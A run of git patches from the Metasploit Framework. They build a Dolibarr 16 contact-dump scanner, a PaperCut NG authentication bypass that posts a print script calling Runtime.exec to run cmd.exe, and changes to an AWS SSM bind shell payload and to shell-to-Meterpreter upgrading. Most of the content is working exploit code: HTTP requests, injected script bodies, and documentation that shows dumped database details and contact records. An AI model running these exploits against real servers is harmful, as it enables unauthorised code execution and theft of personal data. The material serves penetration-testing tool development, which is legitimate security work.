- def initialize(info = {}) - super( - merge_info( - info, - 'Name' => 'Windows Command Shell, Bind SSM (via AWS API)', - 'Description' => 'Creates an interactive shell using AWS SSM', - 'Author' => 'RageLtMan ', - 'License' => MSF_LICENSE, - 'Platform' => 'windows', - 'Arch' => ARCH_CMD, - 'Handler' => Msf::Handler::BindAwsSsm, - 'Session' => Msf::Sessions::CommandShellWindows, - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic', - 'Payload' => { - 'Offsets' => {}, - 'Payload' => '' - } - ) - ) - end - - # - # Constructs the payload - # - def generate(_opts = {}) - vprint_good(command_string) - return super + command_string - end - - # - # Returns the command string to use for execution - # - def command_string - '' - end -end diff --git a/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb b/modules/payloads/singles/generic/shell_bind_aws_ssm.rb similarity index 57% rename from modules/payloads/singles/cmd/unix/bind_aws_ssm.rb rename to modules/payloads/singles/generic/shell_bind_aws_ssm.rb index 52d1a9c87d05c..686b8b6e93253 100644 --- a/modules/payloads/singles/cmd/unix/bind_aws_ssm.rb +++ b/modules/payloads/singles/generic/shell_bind_aws_ssm.rb @@ -4,7 +4,7 @@ ## module MetasploitModule - CachedSize = 70 + CachedSize = 0 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions @@ -13,16 +13,14 @@ def initialize(info = {}) super( merge_info( info, - 'Name' => 'Unix Command Shell, Bind SSM (via AWS API)', + 'Name' => 'Command Shell, Bind SSM (via AWS API)', 'Description' => 'Creates an interactive shell using AWS SSM', 'Author' => 'RageLtMan ', 'License' => MSF_LICENSE, - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, + 'Platform' => '', + 'Arch' => ARCH_ALL, 'Handler' => Msf::Handler::BindAwsSsm, - 'Session' => Msf::Sessions::CommandShellUnix, - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'generic', + 'Session' => Msf::Sessions::AwsSsmCommandShellBind, 'Payload' => { 'Offsets' => {}, 'Payload' => '' @@ -31,18 +29,9 @@ def initialize(info = {}) ) end - # - # Constructs the payload - # - def generate(_opts = {}) - vprint_good(command_string) - return super + command_string - end + def on_session(session) + super - # - # Returns the command string to use for execution - # - def command_string - '' + session.arch.clear # undo the ARCH_ALL amalgamation end end From ecd56c79041768a6c380f8fbb1414479b11722f7 Mon Sep 17 00:00:00 2001 From: vtoutain Date: Thu, 20 Apr 2023 11:51:28 +0200 Subject: [PATCH 042/415] Check logic simplification Moved most of the check logic inside the check function to make it easier to read. --- .../scanner/http/dolibarr_16_contact_dump.rb | 57 ++++++++----------- 1 file changed, 24 insertions(+), 33 deletions(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb index e947450dde51f..73c62b459f454 100644 --- a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -47,41 +47,38 @@ def initialize(info = {}) ) end - def check_host(_ip) + def check res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) - return Exploit::CheckCode::Unknown unless res && res.code == 200 - - vprint_line('--Check Host--') - vprint_good("Domain: #{vhost}") - vprint_good("Target_URI: #{target_uri}") - vprint_good("Response Code: #{res.code}") - vprint_good("Response Body: #{res.body}") + return Exploit::CheckCode::Unknown('Connection failed') unless res + return Exploit::CheckCode::Safe unless res.code == 200 /Dolibarr (?\d+.*\.\d+)/ =~ res.body version = Rex::Version.new(version) + if version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4')) - return [Exploit::CheckCode::Appears, version] + print_good("Detected vulnerable Dolibarr version: #{version}") + return Exploit::CheckCode::Appears elsif version == '0' - version = 'not found' - return [Exploit::CheckCode::Detected, version] + print_warning('Dolibarr version not found - proceeding anyway...') + return Exploit::CheckCode::Detected + else + print_warning("Detected apparently non-vulnerable Dolibarr version: #{version} - proceeding anyway...") + return Exploit::CheckCode::Detected end - - return [Exploit::CheckCode::Safe, version] end - def exploit + def exploit(ip) res = send_request_cgi!({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'public', 'ticket', 'ajax', 'ajax.php?action=getContacts&email=%') + 'uri' => normalize_uri(target_uri.path, '/public/ticket/ajax/ajax.php'), + 'vars_get' => { + 'action' => 'getContacts', + 'email' => '%' + } }, 90, true) - vprint_line('--Exploit request--') - vprint_line("Domain: #{vhost}") - vprint_line("Target_URI: #{normalize_uri(target_uri.path, 'public', 'ticket', 'ajax', 'ajax.php?action=getContacts&email=%')}") - - vprint_line('--Exploit response--') res_json_document = res.get_json_document['contacts'] @@ -91,9 +88,6 @@ def exploit fail_with(Failure::UnexpectedReply, 'Dolibarr database empty') end - vprint_good("Response Code: #{res.code}") - vprint_good("Response Body: #{res.body}") - begin print_good("Database type: #{res_json_document[0]['db']['type']}") print_good("Database name: #{res_json_document[0]['db']['database_name']}") @@ -129,7 +123,7 @@ def exploit path = store_loot( 'dolibarr', 'application/CSV', - vhost, + ip, csv_string, '.csv' ) @@ -137,15 +131,12 @@ def exploit print_good("#{rhost}:#{rport} - File saved in: #{path}") end - def run_host(_ip) - check_code, version = check - if check_code == Exploit::CheckCode::Safe || check_code == Exploit::CheckCode::Detected - print_bad("Detected apparently non-vulnerable Dolibarr version: #{version}") - vprint_status('Proceeding to exploit anyway') - exploit - elsif check_code == Exploit::CheckCode::Appears - print_good("Detected vulnerable Dolibarr version: #{version}") - exploit + def run_host(ip) + check_code = check + if check_code == Exploit::CheckCode::Appears || check_code == Exploit::CheckCode::Detected + exploit(ip) end end + end + From ea9019600ac591a05639a5dd64eb441dd738a67f Mon Sep 17 00:00:00 2001 From: vtoutain Date: Thu, 20 Apr 2023 16:00:24 +0200 Subject: [PATCH 043/415] Version regex update Used a less greedy version of the regex based on reviews, as well as the `version.blank?` pattern for improved readability. --- .../auxiliary/scanner/http/dolibarr_16_contact_dump.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb index 73c62b459f454..55af89930f712 100644 --- a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -55,13 +55,12 @@ def check return Exploit::CheckCode::Unknown('Connection failed') unless res return Exploit::CheckCode::Safe unless res.code == 200 - /Dolibarr (?\d+.*\.\d+)/ =~ res.body - version = Rex::Version.new(version) + version = res.body.scan(/Dolibarr ([\d.]+-*[a-zA-Z]*)/).flatten.first - if version.between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4')) + if Rex::Version.new(version).between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4')) print_good("Detected vulnerable Dolibarr version: #{version}") return Exploit::CheckCode::Appears - elsif version == '0' + elsif version.blank? print_warning('Dolibarr version not found - proceeding anyway...') return Exploit::CheckCode::Detected else @@ -139,4 +138,3 @@ def run_host(ip) end end - From d6e921c4143ab8e9979eebb9261d1b87c37993b8 Mon Sep 17 00:00:00 2001 From: vtoutain Date: Thu, 20 Apr 2023 16:20:40 +0200 Subject: [PATCH 044/415] Version regex fix The previous fix was not matching numbers at the end of the version like "-rc2". --- modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb index 55af89930f712..5f817e7937e2b 100644 --- a/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb +++ b/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb @@ -55,7 +55,7 @@ def check return Exploit::CheckCode::Unknown('Connection failed') unless res return Exploit::CheckCode::Safe unless res.code == 200 - version = res.body.scan(/Dolibarr ([\d.]+-*[a-zA-Z]*)/).flatten.first + version = res.body.scan(/Dolibarr ([\d.]+-*[a-zA-Z0-9]*)/).flatten.first if Rex::Version.new(version).between?(Rex::Version.new('16.0.0'), Rex::Version.new('16.0.4')) print_good("Detected vulnerable Dolibarr version: #{version}") From 253f4e54bc666508160e5935b595519f53a2ebb3 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Fri, 21 Apr 2023 03:53:03 +0000 Subject: [PATCH 045/415] rough pseudo-coding --- .../multi/http/papercut_ng_auth_bypass.rb | 56 +++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 modules/exploits/multi/http/papercut_ng_auth_bypass.rb diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb new file mode 100644 index 0000000000000..079f390bf61e5 --- /dev/null +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -0,0 +1,56 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'PaperCut PaperCutNG Authentication Bypass', + 'Description' => %q{ + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'catatonicprime' ], + 'References' => [ + [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ] + ], + 'Platform' => [ 'win', 'linux'], + 'Payload' => { + 'BadChars' => "\x00" + }, + 'Privileged' => true, + 'DisclosureDate' => '2023-03-13', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def bypass_auth + # Hit the SetupCompleted Page & establish an authenticated session. + # Return success/fail or vuln/not vuln based on response values + end + + def set_server_option + # set name:value pair(s) + # 1) do a quickfind (setting the tapestry state) + # 2) if no property found, add it? + # 3) else, if necessary, do an update + end + + def check + # For the check command + end + + def exploit + # Main function + end +end From 538381bd4d1567699948210209a89f9d77b8f249 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sat, 22 Apr 2023 15:44:56 +1000 Subject: [PATCH 046/415] shell_to_meterpreter: Support using bind payloads with PAYLOAD_OVERRIDE --- .../post/multi/manage/shell_to_meterpreter.rb | 81 +++++++++++-------- 1 file changed, 46 insertions(+), 35 deletions(-) diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 44db437655221..e91329dffa9f1 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -131,14 +131,16 @@ def run vprint_status('Platform: Python [fallback]') end end - payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE'] - vprint_status("Upgrade payload: #{payload_name}") if platform.blank? print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") return nil end + payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE'] + + vprint_status("Upgrade payload: #{payload_name}") + payload_data = generate_payload(lhost, lport, payload_name) if payload_data.blank? print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.") @@ -207,7 +209,8 @@ def run vprint_status('Cleaning up handler') cleanup_handler(listener_job_id, aborted) end - return nil + + nil end # @@ -359,47 +362,55 @@ def check_for_listener(lhost, lport) # Starts a exploit/multi/handler session def create_multihandler(lhost, lport, payload_name) pay = client.framework.payloads.create(payload_name) + pay.datastore['RHOST'] = rhost pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport - print_status('Starting exploit/multi/handler') - if !check_for_listener(lhost, lport) - # Set options for module - mh = client.framework.exploits.create('multi/handler') - mh.share_datastore(pay.datastore) - mh.datastore['WORKSPACE'] = client.workspace - mh.datastore['PAYLOAD'] = payload_name - mh.datastore['EXITFUNC'] = 'thread' - mh.datastore['ExitOnSession'] = true - # Validate module options - mh.options.validate(mh.datastore) - # Execute showing output - mh.exploit_simple( - 'Payload' => mh.datastore['PAYLOAD'], - 'LocalInput' => user_input, - 'LocalOutput' => user_output, - 'RunAsJob' => true - ) - # Check to make sure that the handler is actually valid - # If another process has the port open, then the handler will fail - # but it takes a few seconds to do so. The module needs to give - # the handler time to fail or the resulting connections from the - # target could end up on on a different handler with the wrong payload - # or dropped entirely. - select(nil, nil, nil, 5) - return nil if framework.jobs[mh.job_id.to_s].nil? + print_status('Starting exploit/multi/handler') - return mh.job_id.to_s - else + if check_for_listener(lhost, lport) print_error('A job is listening on the same local port') - return nil + return end + + # Set options for module + mh = client.framework.exploits.create('multi/handler') + mh.share_datastore(pay.datastore) + mh.datastore['WORKSPACE'] = client.workspace + mh.datastore['PAYLOAD'] = payload_name + mh.datastore['EXITFUNC'] = 'thread' + mh.datastore['ExitOnSession'] = true + # Validate module options + mh.options.validate(mh.datastore) + # Execute showing output + mh.exploit_simple( + 'Payload' => mh.datastore['PAYLOAD'], + 'LocalInput' => user_input, + 'LocalOutput' => user_output, + 'RunAsJob' => true + ) + + # Check to make sure that the handler is actually valid + # If another process has the port open, then the handler will fail + # but it takes a few seconds to do so. The module needs to give + # the handler time to fail or the resulting connections from the + # target could end up on on a different handler with the wrong payload + # or dropped entirely. + select(nil, nil, nil, 5) + return nil if framework.jobs[mh.job_id.to_s].nil? + + mh.job_id.to_s end def generate_payload(lhost, lport, payload_name) payload = framework.payloads.create(payload_name) - options = "LHOST=#{lhost} LPORT=#{lport}" - buf = payload.generate_simple('OptionStr' => options) - buf + + unless payload.respond_to?('generate_simple') + print_error("Could not generate payload #{payload_name}. Invalid payload?") + return + end + + options = "LHOST=#{lhost} LPORT=#{lport} RHOST=#{rhost}" + payload.generate_simple('OptionStr' => options) end end From 51323023630d33870709afc3dafe554494059d23 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 22 Apr 2023 15:22:18 -0400 Subject: [PATCH 047/415] Filter control bytes from SSM output --- lib/rex/proto/http/web_socket/amazon_ssm.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index e4d9b5e23522f..5ec139a5a62fc 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -87,6 +87,10 @@ def acknowledge_output(output_frame) output_frame.uuid end + def strip_ctl_bytes(tty_out) + tty_out.gsub(/\e\[(?:[0-9];?)+m/, '').gsub(/^\e.+;/,'') + end + def handle_output_data(output_frame) if @ack_message == output_frame.uuid # wlog("SsmChannel: repeat output #{output_frame.uuid}") @@ -99,7 +103,7 @@ def handle_output_data(output_frame) @filter_echo = true return nil else - return output_frame.payload_data + return @filter_text ? strip_ctl_bytes(output_frame.payload_data) : output_frame.payload_data end else wlog("SsmChannel got unhandled output payload type: #{Payload.from_val(output_frame.payload_type)}") @@ -143,12 +147,13 @@ class SsmChannel < Rex::Proto::Http::WebSocket::Interface::Channel attr_reader :run_ssm_pub, :out_seq_num, :ack_seq_num, :ack_message attr_accessor :filter_echo - def initialize(websocket, filter_echo = false) + def initialize(websocket, filter_echo = false, filter_text = true) @ack_seq_num = 0 @out_seq_num = 0 @run_ssm_pub = true @ack_message = nil @filter_echo = filter_echo + @filter_text = filter_text super(websocket, write_type: :binary) end From d797e5ec2cd4d140e3e55d94407a6f977d8944f4 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 22 Apr 2023 17:18:21 -0400 Subject: [PATCH 048/415] Simplify SSM shell output filtering --- lib/rex/proto/http/web_socket/amazon_ssm.rb | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 5ec139a5a62fc..402e030826d58 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -87,8 +87,13 @@ def acknowledge_output(output_frame) output_frame.uuid end - def strip_ctl_bytes(tty_out) - tty_out.gsub(/\e\[(?:[0-9];?)+m/, '').gsub(/^\e.+;/,'') + + def strip_shell_clr(tty_out) + tty_out.gsub(/\x1B\[(;?[0-9]{1,3})+[mGK]/,'') + end + + def strip_shell_fmt(tty_out) + strip_shell_clr(tty_out).gsub(/^\e.+;.*\a/,'') end def handle_output_data(output_frame) @@ -103,7 +108,7 @@ def handle_output_data(output_frame) @filter_echo = true return nil else - return @filter_text ? strip_ctl_bytes(output_frame.payload_data) : output_frame.payload_data + return @filter_text ? strip_shell_fmt(output_frame.payload_data) : output_frame.payload_data end else wlog("SsmChannel got unhandled output payload type: #{Payload.from_val(output_frame.payload_type)}") From 3a4cb3560f58a376ae63e08e692020a2d0b51310 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Sat, 22 Apr 2023 18:00:44 -0400 Subject: [PATCH 049/415] shell_command_token_base get 0th output index --- lib/msf/core/session/provider/single_command_shell.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/session/provider/single_command_shell.rb b/lib/msf/core/session/provider/single_command_shell.rb index 57a675f0d5f9a..a535d7cb308dc 100644 --- a/lib/msf/core/session/provider/single_command_shell.rb +++ b/lib/msf/core/session/provider/single_command_shell.rb @@ -147,7 +147,7 @@ def shell_command_token_base(cmd, timeout=10, command_separator="\n") shell_data = "#{delimiter}#{command_separator}#{shell_data}" end shell_write(shell_data) - res = shell_read_until_token(token, 1, timeout) + res = shell_read_until_token(token, 0, timeout) res end From 20109932fd955e876fdb128aec34f190ba8ca6ea Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Sun, 23 Apr 2023 15:30:23 +0000 Subject: [PATCH 050/415] Command injection PoC working. --- .../multi/http/papercut_ng_auth_bypass.rb | 111 ++++++++++++++++++ 1 file changed, 111 insertions(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 079f390bf61e5..a9eecd0cc84d0 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -3,8 +3,12 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'debug' +require 'cgi' + class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( @@ -18,6 +22,7 @@ def initialize(info = {}) 'References' => [ [ 'URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219' ] ], + 'Targets' => [ [ 'Automatic Target', {}] ], 'Platform' => [ 'win', 'linux'], 'Payload' => { 'BadChars' => "\x00" @@ -25,6 +30,11 @@ def initialize(info = {}) 'Privileged' => true, 'DisclosureDate' => '2023-03-13', 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => '9192', + 'SSL' => 'True', + 'TARGETURI' => '/app' + }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], @@ -32,11 +42,29 @@ def initialize(info = {}) } ) ) + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the papercut application']) + ], self.class + ) end def bypass_auth # Hit the SetupCompleted Page & establish an authenticated session. # Return success/fail or vuln/not vuln based on response values + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'vars_get' => { + 'service' => 'page/SetupCompleted' + } + } + ) + return Exploit::CheckCode::Safe unless res && res.code == 200 + + return Exploit::CheckCode::Appears end def set_server_option @@ -46,11 +74,94 @@ def set_server_option # 3) else, if necessary, do an update end + def get_printer + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'vars_get' => { + 'service' => 'page/PrinterList' + } + } + ) + return Exploit::Failed unless res && res.code == 200 + + html = res.get_html_document + return Exploit::Failed unless html + + printer = html.at('.displayNameColumnValue a') + return Exploit::Failed unless printer && printer['href'] + + uri = URI(normalize_uri(printer['href'])) + return Exploit::Failed unless uri + + params = CGI.parse(uri.query) + return Exploit::Failed unless params && params['sp'] + + return params['sp'][0] + end + def check # For the check command + return bypass_auth end def exploit # Main function + # 1) Bypass the auth using the SetupCompleted page + bypass_auth + # 2) Enable scripts, if needed + # 3) Disable sandboxing, if needed + # 4) Find a printerId + printer_id = get_printer + print_status('Using printerid: ' + printer_id) + + # 5) Select the printer, this loads it into the tapestry session to be modified + protocol = 'http' + if datastore['SSL'] + protocol = 'https' + end + origin = URI("#{protocol}://#{datastore['RHOST']}:#{datastore['RPORT']}") + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => origin + }, + 'vars_get' => { + 'service' => 'direct/1/PrinterList/selectPrinter', + 'sp' => printer_id + } + } + ) + return Exploit::Failed unless res && res.code == 200 + + # 6) Exploit a printer using the printer_id + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => origin + }, + 'vars_post' => { + 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', + 'sp' => 'S0', + 'Form0' => 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0,$Submit$1', + 'enablePrintScript' => 'on', + '$Submit$1' => 'Apply', + 'printerId' => printer_id, + 'scriptBody' => %q{ +var rt = new java.lang.Runtime.getRuntime(); +rt.exec('c:\\\\windows\\\\system32\\\\cmd.exe /c "ping 192.168.1.3"'); +s;} + } + } + ) + return Exploit::Failed unless res && res.code == 200 end end From df6c2bf7eb3acd5fe0bf763b0e420457c384431e Mon Sep 17 00:00:00 2001 From: vtoutain Date: Mon, 24 Apr 2023 11:47:21 +0200 Subject: [PATCH 051/415] Documentation update Modified the layout according to reviews, updated scenarios output, and added the JSON example output. --- .../scanner/http/dolibarr_16_contact_dump.md | 158 +++++++----------- 1 file changed, 59 insertions(+), 99 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md index 534217949a0e3..eb29fe5def37a 100644 --- a/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md +++ b/documentation/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.md @@ -15,17 +15,17 @@ Official GitHub Repository: https://github.com/Dolibarr/dolibarr/tree/16.0.4 ``` -``` + Unofficial image with docker-compose: -docker pull tuxgasy/dolibarr:16.0.4 +`docker pull tuxgasy/dolibarr:16.0.4` Important: This image does not contain a database. So you need to link it with a database container. Use Docker Compose to integrate it with MariaDB (you can also use MySQL if you prefer). Create docker-compose.yml file as following: - +``` version: "3" services: @@ -49,7 +49,7 @@ services: - "80:80" ``` -Then run all services docker-compose up -d. Now, go to http://0.0.0.0 to access to the new Dolibarr installation. +Then run all services with `docker-compose up -d`. Now, go to http://0.0.0.0 to access to the new Dolibarr installation. ## Dolibarr Configuration @@ -83,74 +83,27 @@ The path to Dolibarr instance. Defaults to `/`, `http://dolibarrdomain/` ## Scenarios ### Dolibarr 16.0.4 on Ubuntu 22.10 -Exploitation of a Dolibarr 16.0.4 without verbose. +Exploitation of a Dolibarr 16.0.4. ``` msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS http://[Dolibarr domain]/ RHOSTS => http://[Dolibarr domain]/ msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit -[+] Detected vulnerable Dolibarr version: 16.0.4 -[+] Database type: mysqli -[+] Database name: dolibarr -[+] Database user: root -[+] Database host: mariadb -[+] Database port: 3306 -[+] Found 11 contacts. -[+] [RHOSTS]:[RPORT] - File saved in: /home/kali/.msf4/loot/20230329082801_default_X.X.X.X_dolibarr_212597.csv -[*] Scanned 1 of 1 hosts (100% complete) +[+] Detected vulnerable Dolibarr version: 16.0.4 +[+] Database type: mysqli +[+] Database name: dolibarr +[+] Database user: dolibarr +[+] Database host: mariadb +[+] Database port: 3306 +[+] Found 1 contacts. +[+] 0.0.0.0:80 - File saved in: /home/kali/.msf4/loot/20230424042820_default_0.0.0.0_dolibarr_820189.json +[+] 0.0.0.0:80 - File saved in: /home/kali/.msf4/loot/20230424042820_default_0.0.0.0_dolibarr_736790.csv +[*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ### Dolibarr 16.0.4 on Ubuntu 22.10 -Exploitation of a Dolibarr 16.0.4 with verbose. -``` -msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump -msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS [X.X.X.X] -RHOSTS => X.X.X.X -msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set VERBOSE true -VERBOSE => true -msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit - ---Check Host-- -[+] Domain: X.X.X.X -[+] Target_URI: / -[+] Response Code: 200 -[+] Response Body: - - - - - - - - -Login @ 16.0.4 - -[...] - - - - - -[+] Detected vulnerable Dolibarr version: 16.0.4 ---Exploit resquest-- -Domain: X.X.X.X -Target_URI: /public/ticket/ajax/ajax.php?action=getContacts&email=% ---Exploit response-- -[+] Response Code: 200 -[+] Response Body: {"contacts":[{"db":{"db":{},"type":"mysqli","forcecharset":"utf8","forcecollate":"utf8_unicode_ci","connected":true,"database_selected":true,"database_name":"dolibarr","database_user":"root","database_host":"mariadb",[...],"socname":null,"mail":""}],"error":""} -[+] Database type: mysqli -[+] Database name: dolibarr -[+] Database user: root -[+] Database host: mariadb -[+] Database port: 3306 -[+] Found 11 contacts. -[+] X.X.X.X:[RPORT] - File saved in: /home/kali/.msf4/loot/20230329092036_default_X.X.X.X_dolibarr_278659.csv -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -``` -### Dolibarr 16.0.4 on Ubuntu 22.10 -Attempted exploitation of a Dolibarr 16.0.4 without verbose and empty database. +Attempted exploitation of a Dolibarr 16.0.4 with an empty database. ``` msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X @@ -158,12 +111,12 @@ RHOSTS => X.X.X.X msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit [+] Detected vulnerable Dolibarr version: 16.0.4 -[-] Dolibarr database empty +[-] unexpected-reply: Dolibarr data did not include contacts field [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ### Dolibarr 17.0.0 on Ubuntu 22.10 -Attempted exploitation of a Dolibarr 17.0.0 with verbose. +Attempted exploitation of a Dolibarr 17.0.0. ``` msf6 > use auxiliary/scanner/http/dolibarr_16_contact_dump msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set RHOSTS X.X.X.X @@ -172,44 +125,51 @@ msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > set verbose true verbose => true msf6 auxiliary(scanner/http/dolibarr_16_contact_dump) > exploit ---Check Host-- -[+] Domain: X.X.X.X -[+] Target_URI: / -[+] Response Code: 200 -[+] Response Body: - - - - - - - - -Login @ 17.0.0 - -[...] - - - - - -[-] Detected apparently non-vulnerable Dolibarr version: 17.0.0 -[*] Proceeding to exploit anyway ---Exploit resquest-- -Domain: X.X.X.X -Target_URI: /public/ticket/ajax/ajax.php?action=getContacts&email=% ---Exploit response-- -[-] Exploit response code: 404 +[!] Detected apparently non-vulnerable Dolibarr version: 17.0.0 - proceeding anyway... +[-] unexpected-reply: Exploit response code: 403 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed ``` ## Contact database dump -Here is an example of what your .csv file would look like if the contact exfiltration was successful. +Here is an example of what your .csv and .json files would look like if the contact exfiltration was successful. -| id | country | country_code | state | state_code | region | region_code | note_public | note_private | note | name | lastname | firstname | civility_id | date_creation | civility_code | civility | civilite | address | zip | town | poste | email | -|-----|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---| -| 1 | FR | Rhône | 69 | | | | | | | | Latourelle | Valentine | | 1680275145 | MME | Mrs. | | 1600, Place du Jeu de Paume | 69400 | VILLEFRANCHE-SUR-SAÔNE | CEO | valentine@latourelle.latourelle | -| 2 | FR | | | | | | | don't make any discount I don't like him | | | Bolduc | Hugues | | 1680275611 | MR | Mr. | | 1200, rue Bonneterie | 59370 | MONS-EN-BAROEUL | CEO | hugues@bolduc.bolduc | -| 3 | FR | Rhône | 69 | | | | | | | | Gamelin | Felicien | | 1680275763 | MR | Mr. | | 5100, rue de la Boatie | 69000 | Lyon | DSI | felicien@gamelin.gamelin | +### .json +``` +{ + "contacts": [ + { + "db": { + "db": { + }, + "type": "mysqli", + "forcecharset": "utf8", + "forcecollate": "utf8_unicode_ci", + "connected": true, + "database_selected": true, + "database_name": "dolibarr", + "database_user": "dolibarr", + "database_host": "mariadb", + + ... + + }, + "civility_code": "MR", + "civility": "Mr.", + "civilite": null, + "address": "5100, rue de la Boatie", + "zip": "69000", + "town": "Lyon", + "poste": "DSI", + + ... +``` + +### .csv + +| id | country | country_code | state | state_code | region | region_code | note_public | note_private | note | name | lastname | firstname | civility_id | date_creation | civility_code | civility | civilite | address | zip | town | poste | email | +|-----|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---| +| 1 | FR | Rhône | 69 | | | | | | | | Latourelle | Valentine | | 1680275145 | MME | Mrs. | | 1600, Place du Jeu de Paume | 